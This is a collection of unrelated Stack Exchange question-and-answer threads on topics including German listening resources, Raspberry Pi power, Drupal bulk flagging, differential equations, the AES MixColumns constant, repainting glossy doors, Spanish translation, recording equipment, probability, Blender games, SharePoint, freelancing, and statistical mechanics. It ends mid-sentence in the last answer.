German online comprehension sites?

Question: I am practicing my German for a trip to Germany next month and I'm trying to get as much practice as I can. Can anybody recommend any online sites (or YouTube channels, or whatever) that offer quality comprehension exercises? I have plenty of books and read the newspaper so I'm looking more for auditory comprehension. In addition does anybody have any online vocabulary resources for an intermediate learner? Thanks!
Comment: Do you mean actual *exercises* (e.g. you get some input, then solve some questions about it) or just intermediate listening materials?
Comment: @ChristopheStrobbe Exercises will help more for sure, but any sources you have to offer will be appreciated!
Answer:
Deutsche Welle has many resources, e.g.

the YouTube playlist Deutsch lernen mit Videos (Niveau B2/C1), which contains over 200 videos!
News broadcast that are spoken at a slower pace.
Alltagsdeutsch focuses on everyday language.

The YouTube channel Easy German has over 150 short videos with street interviews and similar activities that show how German is really used.
The YouTube channel Deutsch Global teaches German (elementary to intermediate) in German.

You can find more links on my website.
Answer: You can try https://www.duolingo.com ... sign up for their German course, and do the initial assessment.

German online comprehension sites?


Wall plug to usb block to raspberry PI

Question: Would the raspberry pi be damaged or effected at all if I simply took a usb block that you would use for a phone plugged it into the wall and used that for the power with a random micro usb cable?
Answer: No, it will not damage the Pi. I do it all the time. I have several 2.1A and 2.5A "wall warts" I use for the Pi, charging my phone and operating some of my Arduino units.
That said, consider the source. If the units are cheap knock-offs and heat up significantly while charging a phone, you shouldn't be using it for that or the Pi.
Answer: The phone charger will not damage your pi if it is legitimate. I did use my phone charger to power my pi until I bought a dedicated lead. The phone charger must be 2.5 Amp 5 Volt DC for the raspberry pi 3 and around 1 Amp 5 Volt for the raspberry pi zero.
Answer: Usually not but... it depends!
All "USB block" (USB power supply) has written somewhere the power rating, eg. 5V 1000 mA. If you don't find this, DO NOT USE it!
Every RPi model has different power requirements, see the wikipedia page for a summary table. If you have a RPi Zero W you need al least 300 mA so you can use near all power supply and cable, also e PC port.
But if you have a RPi 3B and attach some devices to USB it can draw to more than 2000 mA, in this case you need an adequate power supply AND a good quality cable.
We can divide USB cables in two groups: data cables and power cables: data cables can "transport" only 500 mA, otherwise power cables can support many Amperes. A "bad" cable can be dangerous because can melt (not often).
The Voltage of 5V pin on RPi is a good indicator if the power supply or the cable can not transfer enough current.

Wall plug to usb block to raspberry PI


How do I mass flag a node on behalf of users (possibly with VBO)?

Question: I have a view that returns the og members of a group. Users can additionally flag groups. I want all users returned by the view to flag the group. So I tried to do this with Views Bulk Operations (VBO), but the only available operation is "Flag (or unflag) a user". The flag is attached to the group, not the user. How do I do that?
Comment: I had the same problem and had to create a new VBO action to that takes a node ID argument from the URL (not configurable in views UI). AFAIK, there is no such action provided by either of modules.
Comment: Implement a rules component as outlined in [this answer](http://drupal.stackexchange.com/a/90331/21451)
Comment: @znerol, great idea, but how do I give the group as an argument to the defined component? I don't see that at all in the configuration of the VBO field. If you want to earn some credit, write it as an answer :)
Answer: What you could do to get this to work, is to use the integration of VBO with the Rules module, as further detailed below.
Step 1: Create a Rules Component
Create a (rather basic) Rules component to flag a node by a user. Here is such component in Rules Export format:
{ "rules_flag_node_flagged_by_a_user" : {
    "LABEL" : "Flag node flagged by a user",
    "PLUGIN" : "rule",
    "OWNER" : "rules",
    "REQUIRES" : [ "flag", "rules" ],
    "USES VARIABLES" : {
      "flagging_user" : { "label" : "Flagging user", "type" : "user" },
      "flagged_node" : { "label" : "Node to be unflagged", "type" : "node" }
    },
    "DO" : [
      { "flag_flagnode" : {
          "flag" : "your_flag",
          "node" : [ "flagged-node" ],
          "flagging_user" : [ "flagging_user" ],
          "permission_check" : "1"
        }
      },
      { "drupal_message" : { "message" : "Node flagged for user  [flagging-user:name] (uid=[flagging-user:uid])" } }
    ]
  }
}

This Rules Component uses a flag with machine name your_flag. After you edit that machine name to fit the name of your flag, you should be able to import this rule in your own site (using the Rules UI, which needs to be enabled).
BTW: the Rules Action to display a message is just to see it at work while QA-testing this rule, feel free to remove that if you want.
Step 2: Let VBO do the work
This step is pretty easy ... Just use your VBO view. The clue to what you want VBO to do as an operation is ... Execute the Rules Component from Step 1.
If you're not familiar with how to do so, have a look at the video about Using Rules components with VBO". If you want even more, then also watch the subsequent "Using Rules components with more than one parameter" video.
Attention: to process like 100.000 records at once is quite a challenge (memory requirements, etc). Therefor you might want to also watch the video about "More details about VBO settings" ... Before you are tempted to use VBO for processing them all at once ...
Video tutorials
If you're not familiar (enough/yet) with Rules, checkout the 32 (!!!) great, and free, video tutorials Learn the Rules framework.
Happy VBO-ing while Rules-ing!
PS: I'm assuming this question is about D7.


How would you solve this differential equation: $\frac{d^2y}{dx^2} = \frac{100}{y}$?

Question: The equation is:
$$\frac{d^2y}{dx^2} = \frac{100}{y}$$
Also if $y = f(x)$,
$f'(0) = 0$ and $f(0) = 10$
How would you solve this for $y$?
Comment: The first idea that comes to my mind is to multiply both sides by $y'$ and integrate. But this leads to an order 1ODE which I can't solve at first sight. So this is probably a well-known type of ODE which I forgot...
Comment: What are the initial conditions?
Answer: $$y''=\frac {100} y$$
is autonomous (ie $x$ is not present in the equation). The standard procedure therefore is to substitute $u(y)=y'$ with
$$ y'' = \frac{du}{dx} = \frac{du}{dy}\frac{dy}{dx} = u'u $$
solve
$$ u'u = 100/y $$
with $u'u = \frac{1}{2}(u^2)'$ we get
$$ u(y)^2 = 2\left(c_1 + 100\ln(y)\right). $$
This equation "can be integrated"
$$ y' = \pm\sqrt{2\left(c_1 + 100\ln(y)\right)} $$
$$ \Rightarrow \int\frac{1}{\sqrt{2\left(c_1 + 100\ln(y)\right)}}dy = \mp\int 1\,dx $$
This is the point where it gets ugly...
The integral can be evaluated to
$$ \sqrt{\frac{\pi}{200}} e^{-c_1/100}\operatorname{erfi}\left(\sqrt{\frac{c_1}{100}+\ln(y)}\right) + c_2 = \mp x $$
where $\operatorname{erfi}$ is the imaginary error function. Solve for $y$ and you are done...
Answer: Multiply both sides by $y'$ and integrate. You will get here:
$$\frac{dy}{dx}=\pm\sqrt{2k_1+200\log (y)}$$
$$\int^x\frac{dy}{\sqrt{2k_1+200\log (y)}}=x+k_2$$
That is not an elementary integral, you can't get a solution as elementary functions. Wolfram uses the error function to give a solution that has no integrals in it.
Answer: This answer is similar to that of the user example, but I though this answer might give you so more intuition about how to solve similar problems and when certain things are equal to each other.
In physics when you have a dynamic system where the force/acceleration on an object only depends on its position, then the potential energy of that object will also only be a function of its position and energy will be conserved. In this case the force $F$ can be expressed as follows
$$
y'' = F = -\nabla U(y) = \frac{100}{y},
$$
such that the potential $U(y)$ can be found with
$$
U(y) = -\int{\frac{100}{y}dy} = -100 \log{y} + c_1.
$$
In physics the conservation of energy means that the sum of the kinetic energy and potential energy are constant
$$
\frac{y'^2}{2} - 100 \log{y} + c_1 = c_2,
$$
$$
y' = \frac{dy}{dx} = \sqrt{200 \log{y} + c_3}.
$$
By applying separation of variables the solution can be found with
$$
\int\frac{dy}{\sqrt{200 \log{y} + c_3}} = x + c_4,
$$
which has the implicit solution
$$
\sqrt{\frac{\pi}{200}} e^{-\frac{c_3}{200}} \text{erfi}\left(\frac{c_3}{200} + \log(y)\right) = x + c_4,
$$
where $\text{erfi}(x)$ is the imaginary error function ($\text{erfi}(x) = -i\, \text{erf}(i\, x)$). Rewriting this to an expression for $y(x)$ yields
$$
y(x) = \exp\left(\text{erfi}^{-1}\left(\sqrt{\frac{200}{\pi}} e^{\frac{c_3}{200}} (x + c_4)\right) - \frac{c_3}{200}\right).
$$
Answer: Wolfram alpha gives this result which shows it is not easy to find.


Mix Column of Rjindael

Question: In the mix column stage when multiplying the byte  value by 2 the following gives the correct answer. If the MSB of the byte value is 1, then left shift the byte value by 1 bit and then XOR the resultant with 27. What is the logic behind this number 27. How was it arrived at.
Answer: It is because the values being calculated are the byte representation of a polynomial in a finite field, and if the polynomial is too large to be in the field it must be reduced.
The reduction polynomial for Rijndael is $x^8 + x^4 + x^3 + x + 1$, which has a byte representation of 0x11b, and after you have shifted the byte by 1 bit, the 0x100 is no longer required so 0x1b or 27 is XOR'd against the value to complete the reduction.
Answer: your question is unclear.
27 is represent as 0x1b. this is irreducible polynomial in GF(2^8).
what do you mean how was it arrived at? Do you the approach of choosing 0x1b as irreducible polynomial ?
I suggest you read the book " The Design of Rijndael - AES - The Advanced Encryption Standard " to understand the multiplication in galois field.

Mix Column of Rjindael


how to take the sheen off baked high gloss surface

Question: I intend to paint my kitchen doors as they have faded into an almost cream colour I want to bring them back to brilliant white, however, as the kitchen doors are profiled sanding is not an option, and as the surfaces rejects any attempts of over painting, hence removing the sheen in order to create a surface key is imperative
Comment: You might be able to find a chemical etcher you could use (depending on the nature of the existing paint), but imo you'd probably juts be better off putting in the effort to sand it. Maybe a gentle sand-blasting would be effective and allow you to more easily get into intricate profile surfaces...
Comment: If it's a steel door with baked finish etching primers are available in rattle cans.
Answer: One thing I use to prep surfaces is scotch bright pads. The green ones are what I use most often they conform to shapes and really take the sheen or gloss out with very little effort. They have red that is    Heavier or more corse or white that is finer but green works quite well for irregular surfaces.
Comment: Rightfully the high answer.
Answer: If it's wood, sanding is always an option if you want professional results. You can also use a paint remover. There are many on the market that are a gel and water based and can be used indoors. One that come to mind is Citristrip, see below. It can be applied and after a short time can be wiped or lightly scraped off to removing the old surface, eliminating the sanding you so dread.
Answer: They make products called liquid sandpaper or deglosser.  You would rub onto the surface of the item you want to take the sheen off of. These products will prep glossy surfaces so new paint will stick to it. It works on many coatings i.e. Enamel, latex, polyurethane etc... They work fairly good. You could also use a q-tip or small brush to get into tight areas or corners.
Answer: Sanding is the best option, just takes time, patience and elbow grease.


Stochastics indicator reverses prior entering the oversold/overbought zone

Question: Often I've notice Stochastics doesn't enter the oversold/ overbought and reverses to opposite direction. I understand while trending or while strength is on one side stochastics tend to reverses in mid-way. But during side-way and that too in squeezed market (high/low difference is very minuscule) or flat market, Stochastics just move between 80-20 region and fails to position itself on either side.
I've tried all possible combination incearease the K%, worked with different time frames like 1 min, 5 min, 15 min, 60 min, daily. But none actually is working.
Can anybody please help me understand this concept.
Comment: What instrument are you using it on? Is it a stock, an Index or something else? Have you tried it on a different instrument?
Comment: I've used it on both stock as well as index. Infact i tried it even on commodity. Right now I'm daytrading in index (Nifty). And this problem (sideways movement) is making it very difficult as I trade index options. so if the broader index is narrow rangebound and also sudden accumulation/distribution pattern is formed, it is destroying my option trades and overall fund is deteriorating. I do use other indicator Bolinger Band,RSI, PSAR and ADX to support decision. But overall it become too much confusion. So trying to improvise Stochastic for more accuracy.
Answer: You might be seeing other traders reacting on the expectation you are trying to observe, introducing secondary movements.  Really this stuff is pretty random.
Answer: Try to change the period of the stochastic. If you are using 14 days, then try 13 or 12 or 9, whatever. Are you using fast or slow stochastics? Try the other one.
Answer: It is possible that the current market conditions you were looking at, there were no signals for you to act on. I see in your comment you are trading some very short time frames, which I am unfamiliar with, but I expect that my 1-6 month time frame logic is applicable to your much quicker time frame.
Sometimes your method of technical analysis will indicate that you shouldn't be in the market and that there are no valid buy signals. This is fine. You don't want to tweak your trading methodology to enable you to trade, as that will more than likely mean you end up making poor quality trades with a higher risk.


Searching for a more appropriate verb phrase than "llevar a cabo"

Question: I'm editing a Spanish translation of a consent form for work. The presented draft reads "(noun) está llevando a cabo por ..." to mean "(noun) is being conducted by...". The phrase just feels clunky to me. Is there a more concise way to translate "(noun) is being conducted by..."? I initially proposed "(noun) se lleva a cabo por ...", but I think I prefer a single verb like "(noun) se conduce por..." over a verb phrase. Thoughts?
Comment: If you could provide more of the context, it might help pick the right words. _Realizar_ might be appropriate. _Conducir_ is probably one of your better choices if you're translating something like "... this investigation is being conducted by a third-party investigator..."
Comment: The consent form is for a research study. The goal of the sentence in question is to simply identify the primary investigator, i.e. "the study is being conducted by (person's name)." Ideally, I wouldn't use the passive voice to achieve this, but the IRB-approved English version was written in passive voice. So, my hands are tied.
Comment: Though we need more context, you could also say "está siendo realizado por"  or "está siendo dirigido por", or you can convert the passive sentense to "... está realizando el estudio de ..." if it sounds better for you.
Dirigido could work if it's achieved by other means or people and you control them.
Answer: You could use coordinar.

El estudio (o la investigación) ha sido coordinado por

Of course you can use "está coordinado", if the verb tense fits the description better.
You could also use dirigir (lead, manage)

El estudio ha sido dirigido por ....

These two stress the lead role of the primary investigator who is managing the research. Probably the P.I. is just one of many researchers involved in this study, effort, etc. A translation with "llevar a cabo" might leave out many of other collaborators (which may get offended, since in academia is important to get proper citation and credit for your contribution). Compare these two:

El estudio ha sido llevado a cabo por Diego
El estudio ha sido llevado a cabo por el equipo de investigación de Spanish.SE

You could even use 'liderar'

el estudio ha sido liderado por ...

This way you can credit the primary investigator and his important head role without implying he or she (or his/her team) was the only entity involved in the research and avoiding others feeling "left out".
Comment: Realizado is a good verb too
Answer: Other possible verbs are desarrollar and efectuar:

La tarea está siendo desarrollada por los estudiantes.
La tarea está siendo efectuada por los estudiantes.

And it's not correct the way you are translating in your question example:

(noun) is being conducted by...

This does not translate as follows:

(noun) está llevando a cabo por ...

but

(noun) está siendo llevado a cabo por...
(noun) es llevado a cabo por...
Comment: I'm not sure I like *se está llevando a cabo por*.  El pasivo reflejo no admite el agente con *por* (lo que sería el sujeto en una oración activa) — solo el pasivo de verdad como en *está siendo llevado* or *es llevado* lo admite.
Comment: @guifa Toda la razón, borrado.
Answer: The study is being conducted by ...
Conducir should be an acceptable form: (La investigación, El estudio) se conduce por ...
Realizar can also be appropriate: (La investigación, El estudio) se realiza por ...
Comment: Side question: Our guidelines stipulate that the form require no more than an 8th grade reading level. In your opinion, would one of these two verbs fit this guideline more, or is either still appropriate? Both seem to fit the bill in my estimation.  Also, thank you for your help.
Comment: Good question. I learned Spanish as a young adult (19), so it's hard for me to judge. Maybe a native speaker could shed some light on this?
Comment: @firsttimetranslator I don't think you'll have problems with any of the verbs suggested in any the different answers.  *efectuar* might be a bit on the formal side for your purposes, but the others ought to all work.  *dirigir* was the one that first came to my mind, but I wouldn't bat an eye at any of them.
Comment: @KentAnderson just be careful as the fake passive doesn't allow for the agent to be expressed (that is, only anonymous passives where in English we can omit the *by* part).  If you use *se realiza*, *por* could only be used, for example, for time/location of where it's being carried out.  The only two options that include the agent are *el estudio es realizado por [persona]* (true passive), or *[persona] realiza el estudio* (active).
Answer: Ideally, I wouldn't use the passive voice to achieve this, but the IRB-approved English version was written in passive voice. So, my hands are tied
I really don't think your hands are tied. Translation is not about exact word-by-word equivalencies or syntactical replicas of target texts.
I would simply not use the passive voice to translate "the study is being conducted by (person's name)." It would probably lead to clunky translations like «El estudio esta siendo llevado a cabo por.» I would use «El estudio lo está llevando a cabo...» o «El estudio lo está realizando [person's name].»
Answer: Possible synonyms:

acometer
cumplimentar
efectuar
ejecutar
realizar
elaborar

but "llevar a cabo" sounds perfect for me ;)


What are the advantages of a 24/16 track over a 8 track recorder when you can only record 8 simultaneously?

Question: I am looking to purchase a multitrack recorder for my home studio. I am a drummer so I need one that is at least 8 track. However, i do want to be able to have other musicians play so i am want to get either a 24 track or a 16 track recorder. I don't know much of recording equipment, but I am confused because when I look at the descriptions of these items, they all seem to say that you record upto 8 tracks at the same time. If that's the case, Why would I get a 16 track, when it probably be better off getting 2 8 tracks and connect them together? Why or what would you need the remaining tracks?
Answer: Being able to record 8 channels at once means you can just about record a drum kit in one take... they need a lot of mics, even if you're going to sub-mix to multitrack.
If you have an 8-track recorder... then that's it. Done. Mix your drums, or bounce to stereo so you can record another instrument.
If you try to use two 8-tracks to give you 16 at once, then you are going to hit synchronisation issues.
With 24 tracks, you've still 16 tracks left before you need to start bouncing, even if you can only record 8 at a time.
Honestly, these days I'd buy a computer, DAW software & an audio interface with as many inputs as you will ever need at one time - though bear in mind that unless you're going to try to go straight to the interface, you're still going to need a mixing desk with that number of busses.
I grew up on a 4-track in the 70's went 8-track by the early 80s, 16-track by the mid 80s.
I got my first DAW in the early/mid 90s... infinite tracks, no bouncing [within reason, if your machine's powerful enough]
Never looked back.
Wouldn't dream of limiting myself to 24 tracks these days.
I've done a lot of projects using 60 - 80 tracks; the occasional one with a lot of orchestral & backing vocals up to 120 tracks.
If you ever get chance to listen to the multitrack of Queen's Bohemian Rhapsody [it's out there, it "escaped"] then you'll see something of what a feat it was to get all that into a mere 24 tracks.
It's a masterpiece of .. frankly, sheer bloody-mindedness, combined with not a little patience & a good bit of engineering skill [& very probably a lot of edits on the 2-track as they mixed it in sections.]
Comment: So basically that means, with a 16 track recorder, I can use the 8 inputs to record drums and I can have upto 8 other instruments playing thru the mix but only the tracks with the drums will be recorded...
Comment: The important consideration is the number of 'busses'. A bus is an 'output channel', a route to the next device. If the recorder has only 8 input channels, & your mixer has 4 busses, then you can only record 4 channels at once. Similarly, if your mixer has 24 busses, but the recorder has only 8 inputs...you can record 8 channels at once. Additionally, a 16-track recorder will be capable of **returning** 16 separate recorded channels to your mix environment at once, but not necessarily be able to record on all 16 at once. It's a cost consideration.
Answer: Get a computer-based system.  Practically unlimited total track count.  Choice of audio interface determines how many can be recorded in one pass.
You probably don't need 8 tracks for drums.  Plenty of excellent recordings have been made with an overhead pair plus snare and bass drum mics.
Don't fall into the trap of assuming that seperate tracking of each instrument is the ideal way of working, or even the standard way.  Music is made when everyone plays at once, LISTENING to each other, playing parts that fit together using sounds that fit together.  Then you can avoid the 'remedial mixing' that seems such a large part of many people's workflow.


Probability in chess tournament

Question: In a 4 round chess tournament with 16 players (where the loser of each two player match is eliminated
and the winner moves on to the next round), the pairings for all matches are decided randomly. The
competing players all have different rankings and in any given match the higher ranked player always wins.
What is the probability that the player with the second highest ranking is the losing finalist?
Answer: The answer is:

 8/15

The reason is:

 The only way for the rank 2 player to get to the finals is if the rank 1 player is in a different half of the tournament. There are 16*15 ways of arranging these two players, and 16*8 of those put the two in different halves. So the final answer is (16*8)/(16*15) = 8/15.
Comment: wow dude, hold on, we need to find probability that second ranked player will be in the final, 1)probability that he gonna pass 1st round is 14/15(because there is only 15 players with whom he can play) 2) probability that he gonna pass 2nd round is 6/7 3) probability that he gonna pass 3rd round or be a finalist is 2/3. So I want to know what is the total should I add this 3 probability , or myltiply by each other?
Comment: If you want to do it that way, you'd multiply the probabilities at each step, giving you (14 * 6 * 2) / (15 * 7 *3). Simplifying that gives, again, 8/15. These are just different ways of asking the same question. You'll get the same answer however you do it.
Comment: now I see, thank you Joshua I appreciate yout help

Probability in chess tournament


How do you make bullets do damagein the BGE?

Question: I cannot figure out how to make bullets (physical bullets, not rays) actually do damage to the enemy (in a first-person shooter).  I have tried the collision sensor but I cant seem to make it work.
All I am trying to do is make it so when the bullet hits the enemy, then the enemy disappears (Edit Object: End Object Actuator).  The enemy has the physic type: Character and the bullet has the physics type: Static.  I am using simple motion for the bullet.
 What kind of properties does the bullet of enemy need if any? What should the logic bricks look like?
Answer: Your problem might be that the character is not detecting the collision from a static object. If you make your bullet a rigid body object, with all of the translations locked (rotation and location along X,Y, and Z) as in this picture,

Your bullet will have the same behavior as a static object (It will not fall due to gravity and it will not bounce off of other objects), but the rigid body type can detect collisions with a static object. Another thing you could try is changing the collision bounds on both your character and the bullet to something closer to it's actual shape. Normally, a box will work for the projectile, but for the character you will want something more precise such as a Triangle Mesh
Comment: Thank you!  the only problem is that when I change it to triangle mesh and I press P it stays for half a second and than blender crashes.  It works though you probably don't know why it is crashing
Answer: Here is what I do for my games. On each enemy you want to setup the following:
This checks for a collision with the material "Bullet", which would be the material assigned to your projectile. When it detects that collision it will take 10 LF(Life) of of the object. The second row of bricks tells it that when LF=0 the object should end.
You can change the LF in the properties (hit N), and you can change the damage of the bullet in the bricks.


How can Administrator get alerts in sharepoint 2013 farm

Question: How can Administrator get alerts in sharepoint 2013 farm, when any kind of changes take place in the Central Administration site, like deleting web application, creating web application,adding any user permission
I am not looking for particular web application, but on the central admin site as a whole.
Answer: I think you are looking for tools to track changes in your entire SharePoint farm right? To track changes to web applications, sites, service application etc I'd recommend SPDocKit. It does not do messaging as far as I know but you can analyze a lot of SharePoint settings and compare them through time. If you want messaging, look into System Center (scom), it can monitor things like memory, database etc. I don't think you can track things like deleting web applications and creating web applications etc.
Answer: There is no out of the box which can give you this functionality.
I believe this not required if you organization follows proper Governance Plan and Information Architecture. i.e no one can go in and add/delete web application as such.
If you still want to track then I would recommend creating and Scheduling PowerShell scripts - You need to keep track of current information and compare it will it daily routine (Ex: Number of web applications currently = 3, and daily compare it will this number etc.)


Is there a checklist for a freelance app job

Question: I got to talk to a client who wants to have an app for his restaurants. The app should include a ordering process as well, for take aways. But I am not sure what will be my to-do list in that kind of project. So I can estimate what to charge. Does anyone know where to find a general checklist for a freelance job? Then I can better estimate the price and explain what is behind it for the customer.
Comment: This is probably too broad a question for the _Freelancing_ site; it's rather close to asking how to do the work, and part of the reason you are being hired is that you know (or should know) how to plan software projects. Broadly you need a requirements analysis, which will specify in detail what the app will do. Some customers will be sufficiently detail-savvy to understand what is required here, others will need some of your time to plan this out. This should show every screen, every feature, every kind of customer scenario, in order to help you estimate the effort involved.
Comment: It may be of interest that I've [written an article](https://blog.jondh.me.uk/2015/07/a-theory-of-software-freelancing/) on some of my thoughts on planning a project, but bear in mind I'm not (yet) a freelancer, so perhaps some of it can be taken with a pinch of salt.
Comment: Thanks, that even helps me to get a broader understanding of the process.
Answer: I agree with @halfer's comment about this question being broad and may not be up to community guidelines but I think this is a question worth having an answer to that can be helpful for all industries.
Know your work
You're being hired because you're the specialist/expert in your field, not them. 9 times out of 10, then client has no idea what they really want or the scope of what it will take for you to complete a certain task. If during the interview you're asked "How much would you charge for x" you need to at least be able to give a ballpark answer.
"Based on previous work I can estimate this will take x time and my hourly rate is y/and I would charge z for the project" but don't set this in stone. You should get a detailed list of what the client expects - no two projects are the same.
"Feature A is a complex task that will add an additional X to the cost". This is particularly important for software. Based on what the client wants you can research how difficult getting results will be and the time commitment it takes.
There's no reason there should be a "general checklist" for how to do your job, if you need one then you're not ready to freelance.
To conclude,
You're the expert and you need to be ontop of your work. You should have a general idea about how difficult tasks are and the time commitment they can take. Use this knowledge to give a ballpark estimate and then do research in order to give a hard cost estimate AND time estimate.
PS: if it will take 3 months to complete, tell them it will take 4. This way if things take more time you're safe and if things go according to plan you'll be done a month early.


Finish removing the [untagged] tag

Question: Earlier I'd flagged a question that was tagged untagged, which has been fixed. However, there are still questions tagged as such... I'm reasonably certain that this is not a tag we'd want to encourage. Could these be re-tagged and the untagged tag blacklisted?
https://english.stackexchange.com/questions/tagged/untagged
Comment: a sub-category of "not otherwise specified", an entry in a properties list "no know properties".
Answer: Thanks for bringing those to our attention. I've fixed all but one (which can only be fixed by a mod, it seems).
I believe untagged is a system tag, so it can't be removed completely. One use is when a migrated question is tagged with tags that we don't have here.
Answer:
Could these be re-tagged and the untagged tag blacklisted?

untagged cannot be black-listed because it is the tag that is automatically added to a question when a tag is removed, and that tag is the only one used from the question. This happens because a tag that is used from just a question is deleted after 30, or 60 days.  untagged is also used when a moderator of another site migrates a question on EL&U, and that question doesn't use any tag used on EL&U as the tags that don't exist in the site where the question is being migrated are deleted, untagged replaces those tags, when the question ends with no tags. (A question always needs to have at least a tag.)
Instead of flagging the question, you could have found a pertinent tag for that question, and suggested an edit. As far as I remember, suggesting an edit to add a tag, or replace a tag is allowed.

Finish removing the [untagged] tag


Permuting the columns of a 0/1-matrix to avoid short segments

Question: Consider an $n \times n$ table with $n$ stars such that each row contains at most $\log n$ stars. The stars break each row into segments (continuous parts of a row without stars). Let's call a segment short if its length is at most $\log n$. It is not difficult to show that under a random permutation of the columns, the number of short segments is at most $O(\log^4n)$. Can you design a deterministic $O(n)$ time algorithm that takes the positions of $n$ stars as an input and outputs a permutation of the columns such that the number of short segments is at most $O(n/\log n)$?
Answer: The algorithm below runs in time $O(n\log n)$, but not $O(n)$. On the other hand, it permutes the columns in such a way that there are only $O(\log^2n \cdot\log\log n)$ short segments in the end.
Let us at first describe $O(n\log n)$-time algorithm for the case when $n + 1$ is prime. Then we may identify columns $\{1, 2, \ldots, n\}$ with elements of $(\mathbb{F}_{n + 1})^*$. The idea is to consider permutations of the form $x\mapsto \gamma x$ for $\gamma\in(\mathbb{F}_{n + 1})^*$. We will show that at least one $\gamma$ is good for us and how to find such $\gamma$ in $O(n\log n)$ time.
We start by finding $x^{-1}$ for every $x\in(\mathbb{F}_{n + 1})^*$. For each $x$ this takes $O(\log n)$ time by Euclidean algorithm, in total $O(n\log n)$.
Then assume that positions of stars are
$$(a_1, b_1), \ldots, (a_n, b_n).$$
Let $L$ be the list of all $(i, j)$ such that $i\neq j$ and $a_i = a_j$ (pairs of stars which are from the same row). The size of $L$ is $O(t_1^2 + \ldots + t_n^2)$, where $t_i$ is the number of stars from the $i^{th}$ row. Since $t_i\le\log n$, we have
$$|L| = O(t_1^2 + \ldots + t_n^2) = O((t_1 + \ldots + t_n)\cdot \log n) = O(n\log n).$$
We then create an array $M$ of size $n$, where $M[\rho]$ is equal to the number of $(i, j)\in L$ s.t. $\rho = b_i - b_j \pmod{n + 1}$. Clearly, computing $M$ takes $O(|L|) =O(n\log n)$ time.
Then we define another array $W$ of size $n$. Namely, $W[\gamma]$ is defined as follows
$$W[\gamma] = \sum\limits_{\substack{k = -\log n \\ k\neq 0}}^{\log n} \sum\limits_{\substack{\rho:\, \gamma\rho = k\\\pmod{n + 1}}} M[\rho].$$
Now let us prove that $W[\gamma]$ is an upper bound on the number of short segments after permuting columns according to $x\mapsto \gamma x$. Indeed, the number of short segments is at most the number of $(i, j)\in L$ such that for some $u, v\in\{1, 2, \ldots, n\}, u\neq v, |u - v| \le \log n$ it holds that $\gamma b_i = u\pmod{n + 1}, \gamma b_j = v\pmod{n + 1}$. In turn, this is at most the number of $(i, j) \in L$ s.t. for some $k\in [-\log n, \log n], k\neq 0$ it holds that $\gamma(b_i - b_j) = k \pmod{n + 1}$. This is exactly $\sum\limits_{\substack{k = -\log n \\ k\neq 0}}^{\log n} \sum\limits_{\substack{\rho:\, \gamma\rho = k\\\pmod{n + 1}}} M[\rho]$.
Now it only remains to note that
$$W[\gamma] =  \sum\limits_{\substack{k = -\log n \\ k\neq 0}}^{\log n} M[\gamma^{-1} k]$$
Here we use the fact  that $n + 1$ is prime. Since we have all $\gamma^{-1}$ precomputed, it takes only $O(n\log n)$ time to compute $W$.  On the other hand for fixed $k$ all $\gamma^{-1} k$ are different, i.e. $\sum\limits_{\gamma} W[\gamma] \le 2\log n \sum\limits_{\rho} M[\rho] = 2\log n \cdot |L| = O(n\log^2 n)$.   Hence there exists $\gamma$ such that $W[\gamma] = O(n\log^2 n/n) = O(\log^2 n)$. We find any such $\gamma$ and permute columns according to $x\mapsto \gamma x$.
The problem in general case is that now not all $\gamma$'s from $\mathbb{Z}_{n + 1}\setminus \{0\}$ are reversible. However, there are $\Omega(n/\log\log n)$ of them, so we start our algorithm by finding all reversible $\gamma\in\mathbb{Z}_{n + 1}\setminus \{0\}$  in $O(n\log n)$ time (once again, Euclidean algorithm helps). We then do exactly the same thing but only for reversible $\gamma$'s. In the end we will have a slightly worse upper bound on the smallest $W[\gamma]$, namely $O(\log^2(n)\log\log n)$ (because we take into account only $\Omega(n/\log\log n)$ of $\gamma$'s).
Comment: Sasha, the bit-size of the input is $n\log n$, yes, but we assume implicitly a RAM model (roughly, basic arithmetic operations with $O(\log n)$-length numbers cost $O(1)$).


In a canonical ensemble why does change in energy not cause the temperature to change?

Question: I understand that energy of a system in a canonical ensemble is given by the Boltzmann distribution and the temperature is fixed by the heat bath. If the temperature is a measure of kinetic energy, shouldn't fixing temperature cause the energy to remain constant?
Answer: The temperature is the measure of the average kinetic energy.
In the canonical ensemble, different from the microcanonical ensemble, the total energy $E= E_\text{kin} + V = p^2/2m+V(x)$ fluctuates. The average kinetic energy is given by
$$\left\langle E_\text{kin} \right\rangle = \frac{\int d^3x\,d^{3}p  E_\text{kin}  e^{-E/k_B T}} {\int d^3x\,d^{3}p   e^{-E/k_B T}}
= \frac{\int d^{3}p  E_\text{kin}  e^{-E_\text{kin}}/  k_B T} {\int d^{3}p   e^{-E_\text{kin}/k_B T}} = \frac{3}{2}k_B T .$$
For $N$ particles, we have the result $$ \left\langle E_\text{kin} \right\rangle = \frac{3}{2} N k_B T.$$
The fluctuations in the kinetic energy are described by the standard deviation $\delta  E_\text{kin} $. They describe the effect that the kinetic energy is not fixed but fluctuates due to the presence of the reservoir. Statistical mechanics determines the fluctuations to be given by
$$ (\delta E_\text{kin})^2 = \left\langle (E_\text{kin} -\tfrac32 k_B T)^2 \right\rangle =\frac{\int d^{3}p  (E_\text{kin} -\tfrac32 k_B T)^2 e^{-E_\text{kin}}/  k_B T} {\int d^{3}p   e^{-E_\text{kin}/k_B T}} = \frac{3}{2} (k_B T)^2 .$$
For $N$ particles, we have the result $$ \left\langle E_\text{kin} \right\rangle = \frac{3}{2} \sqrt{N} k_B T.$$
Thus we have that the kinetic energy is a stochastic variable. It is fluctuating and given by
$$E_\text{kin} = \tfrac32 Nk_B T \left(1 \pm \sqrt{\tfrac2{3N}} \right)\,.$$
For large systems ($N\to\infty$) the fluctuations are small and thus the kinetic energy of the system is well described by the average.
Answer: The bath is assumed to be so large that the small amount of energy it exchanges with the system is a negligible fraction of its total energy, and so results in negligible fluctuations in its average energy, which determines the temperature.
Comment: I think the OP is asking about the system, not the bath.
Answer: The relation $$\langle E \rangle = \langle E_{kin} \rangle = \frac 3 2 N k_B T$$ is valid only for an ideal gas. Notice the $\langle \cdot \rangle$s, which means that we are considering average quantities.
However, the answer to

shouldn't fixing temperature cause the energy to remain constant?

is yes, if the number of particles $N$ is large enough.
That is because it can be shown that in general the relative energy fluctuation satisfies (see for example this answer of mine):
$$\frac{\sqrt{\langle E^2 \rangle - \langle E \rangle ^2}}{\langle E \rangle} \equiv \frac{\delta E}{\langle E \rangle} \propto \frac 1 {\sqrt N}$$
which means that
